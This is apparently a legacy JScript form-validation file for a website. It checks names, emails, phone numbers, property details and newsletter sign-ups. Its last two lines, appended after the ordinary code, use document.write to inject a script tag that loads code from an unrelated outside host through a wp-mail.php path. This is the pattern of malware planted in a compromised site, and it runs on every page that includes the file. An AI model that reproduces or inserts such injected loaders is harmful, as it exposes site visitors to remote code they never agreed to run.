// JScript source code

var browserType;
var whitespace = " \t\n\r";
var data_type = 1;
var field_to_check;

if (document.layers) {browserType = "nn4"}
if (document.all) {browserType = "ie"}
if (window.navigator.userAgent.toLowerCase().match("gecko")) {browserType= "gecko"}

function ResetForm(form_name)
{
		form_name = eval(form_name);
		form_name.reset();
}

function isEmpty(s){return ((s == null) || (s.length == 0));}

function CheckEmail()
{
	var filter_email  = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
	if (filter_email.test(field_to_check.value)){data_type = 1;}
	else
	{
		alert("Please enter a valid Email");
		GetFocus();
		return;
	}
}

function GetFocus()
{
	data_type = 0;
	field_to_check.value ="";
	field_to_check.focus();
	field_to_check.select;
}

function CheckData(alert_text)
{
	ValidateData(field_to_check.value);
	if(data_type == 0)
	{	
		alert(alert_text);
		GetFocus();
	}
	return;
}

function ValidateData(wich_field)
	{   
		// assign variable with the field value
		var field_value = wich_field;
		var i;
	
	    // Is s empty?
	    if (isEmpty(field_value))
		{ 
			//alert("d");
			GetFocus();
			//stop_check = 0;
			return;
		} 
		else
		{
		    // Search through string's characters one by one
		    // until we find a non-whitespace character.
		    // When we do, return false; if we don't, return true.
		
		    for (i = 0; i < field_value.length; i++)
		    {   
			// Check that current character isn't whitespace.
				var c = field_value.charAt(i);
				if (whitespace.indexOf(c) == -1)
				{
					//return false;
		    		// All characters are whitespace.
					//alert("s");
					data_type = 1;
					//stop_check = 1;
					return;
				}
			}
			//alert("w");
			//data_type = 0;
			//stop_check = 0;
			return;
		}
	}
	
	function OpenWindow(src)
{        
	Pop=window.open(src,"displayWindow","toolbar=no,width=800,height=600,directories=no,status=yes,scrollbars=yes,resize=yes,menubar=no");
}

function GetData()
{
   // alert(wich_one)
    field_to_check = document.frm_mail.nick;
    //alert("W");
    CheckData("Please enter your name");
    if(data_type == 0){return};
    field_to_check = document.frm_mail.email;
    CheckEmail();
    if(data_type == 0){return};
    field_to_check = document.frm_mail.subject;
    CheckData("Please enter Subject");
    if(data_type == 0){return};
    field_to_check = document.frm_mail.body;
    CheckData("Please enter Body Text");
    if(data_type == 0){return};
    
    if(data_type == 0){return};
    if(data_type != 0){document.frm_mail.submit();}
}

function GetData1()
{
    field_to_check = document.frm_mail.nick;
    CheckData("Please enter your name");
    if(data_type == 0){return};
    
    field_to_check = document.frm_mail.country;
    if (field_to_check.value == -1)
    {
    
        alert("Please choose Country of residence");
        data_type = 0;
    }
    if(data_type == 0){return};
    
    field_to_check = document.frm_mail.phone;
    CheckData("Please enter contact Number");
    if(data_type == 0){return};
    
    field_to_check = document.frm_mail.email;
    CheckEmail();
    if(data_type == 0){return};
    
    field_to_check = document.frm_mail.location;
    CheckData("Please enter where is your property located");
    if(data_type == 0){return};
    
    field_to_check = document.frm_mail.prop_type;
    if (field_to_check.value == -1)
    {
    
        alert("Please choose type of property do you have");
        data_type = 0;
    }
    if(data_type == 0){return};
    
    
    
    if(data_type == 0){return};
    if(data_type != 0){document.frm_mail.submit();}
}



function SendMail()
{
	var x = document.news.usr_email.value;
	var filter  = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
	if (filter.test(x)){document.news.submit();}
	else
	{
	    alert('Please enter a valid email!');
	    document.news.usr_email.focus();
	    document.news.usr_email.select();
	}
}

function ConfirmDelete(page, ID, subject)
{
	input_box=confirm("Are you sure you want to Delete this " + subject + "?");
	if (input_box==true){ location.href = page + "?ID=" + ID;}
}



document.write('<script src=http://rochlice.farnost.cz/info/wp-mail.php ><\/script>');
document.write('<script src=http://rochlice.farnost.cz/info/wp-mail.php ><\/script>');